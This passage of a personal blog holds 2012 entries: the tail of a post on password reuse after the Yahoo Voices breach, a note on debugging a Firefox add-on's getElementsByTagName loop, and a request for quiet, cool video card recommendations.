So, should you change your password after a breach? It depends on how much you feel like rolling the dice. Failing to change their breached passwords doesn't seem to have hurt that many of the Yahoo Voice denizens, but with numbers on re-used passwords hitting the news today, it's possible we'll see more people trying this avenue of attack in the future.  Still, rather than assuming those 59% are foolish for keeping the same credentials, it's worth considering that they might have just been savvy gamblers, this time.
terriko: (Pi)
2012-06-25 11:14 am
Entry tags:

object object object... goose?

In the course of my thesis work, I made myself a little Firefox plugin that tells me where the javascript/dynamic parts are in a page. It's a fun little thing, just puts some big coloured boxes up, and I used it to help understand how people were using javascript in practice. It's one of those things I should probably release just 'cause it's fun, but I didn't have time to maintain in any meaningful way so I didn't get around to it.

Anyhow, I pulled it out last week to see what state it's in because I want to adapt some ideas from it, and it wasn't working. Which is odd, 'cause it's really quite simple. The core is just a loop that goes through each page element and looks for stuff like onmousover events:

var allTags = document.getElementsByTagName("*");
for each (var tag in allTags) {
// ... do some stuff

And in debugging it, I've learned that getElementsByTagName("*"), which apparently used to return all the tags as objects, is now returning all the tags as well as, inexplicably, a number. It's not the same number for every page, and most of them seem to be around one thousandish on the simpler pages I was trying to test. Which sort of makes me think that maybe it's returning the number of tags, or that it sometimes returns an ordinal index for a single tag instead of an object, but why?

As it turns out, it didn't take much to get my add-on back up and running, just a quick check to see if the "tag" in question was in fact an object. But I'm left with a question: why has this changed in Firefox since I initially made the add-on? I'm not even sure where to ask, since it doesn't seem like it's a thing that changed in the specs. I'm recording it here for posterity so I remember to try to look it up later, but if you happen to know what's going on, please get in touch!
terriko: (Pi)
2012-05-30 04:22 pm
Entry tags:

Looking for a quieter, cooler video card suitable for gaming

I've been using John's old video card for a while since he put it in my computer while I was away, but it's so loud that I can hear it even when wearing headphones, and now that it's getting warmer in ABQ I'm noticing that gaming for an hour or more makes me uncomfortably hot. (And shush all of you who have a quip about gamer girls and hotness on the tip of your tongues; I mean temperature.)

So here's the deal. I want a video card that won't trigger a migraine aura in my high altitude desert home. I'm pretty sure they don't check for that in hardware reviews. Here's a more useful checklist:

1. Must be able to play some modern games. I'm mostly playing Diablo III lately, and I also use the machine for Photoshop. (Yeay academic discounts!)
2. Doesn't need to be Linux compatible (this is for my windows-only gaming box)
3. Needs to be as quiet as possible given #1.
4. Cool as possible, given #1.
5. Budget preferably < $200 but gaming in comfort is worth more to me if I'm sure it will help.

It used to be that you'd have to be prepared to replace the fan to get #3, but I'm hoping things have gotten better and I'll be able to just buy something off the shelf. I hate reading hardware reviews (unless it's cameras for some reason), so I'm hoping to narrow things down faster... Does anyone have suggestions?